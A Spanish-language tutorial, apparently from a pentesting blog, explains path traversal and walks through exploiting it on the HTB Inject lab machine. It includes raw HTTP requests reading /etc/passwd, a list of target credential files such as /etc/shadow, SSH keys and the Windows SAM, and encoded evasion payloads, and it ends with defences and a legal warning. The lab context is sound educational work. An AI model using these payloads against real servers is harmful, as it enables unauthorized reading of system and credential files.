¿Qué es Path Traversal?
Definición: Path Traversal (también conocido como Directory Traversal) es una vulnerabilidad de seguridad web que permite a los atacantes acceder a archivos y directorios que se encuentran fuera del directorio raíz del servidor web. Esta vulnerabilidad explota la falta de validación adecuada en las rutas de archivo, permitiendo navegación no autorizada a través del sistema de archivos del servidor.
Esta vulnerabilidad puede permitir a los atacantes:
- Lectura de archivos sensibles: /etc/passwd, archivos de configuración
- Acceso a código fuente: Revelar lógica de aplicación
- Enumeración del sistema: Estructura de directorios y archivos
- Escalación de privilegios: Acceso a claves SSH, tokens
Impacto de Seguridad: Las vulnerabilidades de Path Traversal pueden resultar en exposición completa de información confidencial, compromiso del servidor y en casos extremos, ejecución remota de código.
Herramientas de Explotación
Técnicas de Path Traversal
Payloads Básicos
Caso Práctico: HTB Inject
- Máquina: HTB Inject (10.10.11.204)
- Puerto: 8080
- Vulnerabilidad: Path Traversal en funcionalidad de upload
- Objetivo: Lectura de archivos del sistema
Proceso de Explotación:
URL de Upload Original:
Interfaz web para subir archivos en la máquina HTB Inject
URL de Visualización Vulnerable:
Visualización del archivo anonymous.jpg a través del parámetro vulnerable 'img'
Análisis de la Vulnerabilidad:
- El parámetro
imgno valida la entrada del usuario - Permite caracteres de traversal como
../ - No restringe el acceso a directorios del sistema
- Carece de lista blanca de archivos permitidos
Payload de Explotación - Archivo passwd:
GET /show_image?img=../../../../../../etc/passwd HTTP/1.1
Host: 10.10.11.204:8080
User-Agent: Mozilla/5.0 (compatible; HackingUsef/1.0)
Accept: text/html,application/xhtml+xml
Intercepción y modificación de la petición HTTP con Burp Suite para ejecutar el payload
Resultado obtenido: El payload permite acceder al archivo /etc/passwd, revelando usuarios del sistema como root, daemon, bin, sys, sync, games, man, lp, mail, news, www-data, y otros usuarios críticos.
Contenido del archivo /etc/passwd obtenido exitosamente mediante Path Traversal
Payload de Explotación - Directorio WebApp:
GET /show_image?img=../../../../../../var/www/WebApp HTTP/1.1
Host: 10.10.11.204:8080
Este payload permite el directory listing de la aplicación web, revelando:
- Estructura de la aplicación
- Archivos de configuración
- Código fuente de la aplicación
- Dependencias y librerías utilizadas
Directory listing del directorio /var/www/WebApp revelando la estructura de la aplicación
Archivos Objetivo Comunes
Sistemas Linux/Unix
/etc/shadow
/etc/group
/etc/nginx/nginx.conf
/etc/ssh/sshd_config
/home/user/.ssh/authorized_keys
/etc/ssl/private/
Sistemas Windows
C:\Windows\System32\config\SAM
C:\boot.ini
C:\Windows\debug\NetSetup.log
C:\Windows\Panther\Unattend.xml
Técnicas de Evasión
%252e%252e%252f (Double)
\u002e\u002e\u002f (Unicode)
.\\.\\.\\.\\windows\\system32
..%2f..%2f..%2fetc%2fpasswd
../../../etc/passwd%0a.jpg
Medidas de Protección
Implementación de Defensas:
- Validación de Entrada: Lista blanca de archivos permitidos
- Canonicalización: Resolver rutas absolutas antes de la validación
- Sandboxing: Restringir acceso a directorios específicos
- Principio de menor privilegio: Permisos mínimos para la aplicación
Consideraciones Éticas y Legales
Advertencia Legal: Las técnicas de Path Traversal solo deben utilizarse en:
- Aplicaciones web propias o con autorización explícita
- Plataformas de práctica autorizadas (HTB, TryHackMe, DVWA)
- Entornos de pentesting con contrato legal válido
- Laboratorios controlados de ciberseguridad
El acceso no autorizado a archivos del sistema constituye una violación grave de la seguridad informática y puede ser constitutivo de delito según las leyes locales e internacionales.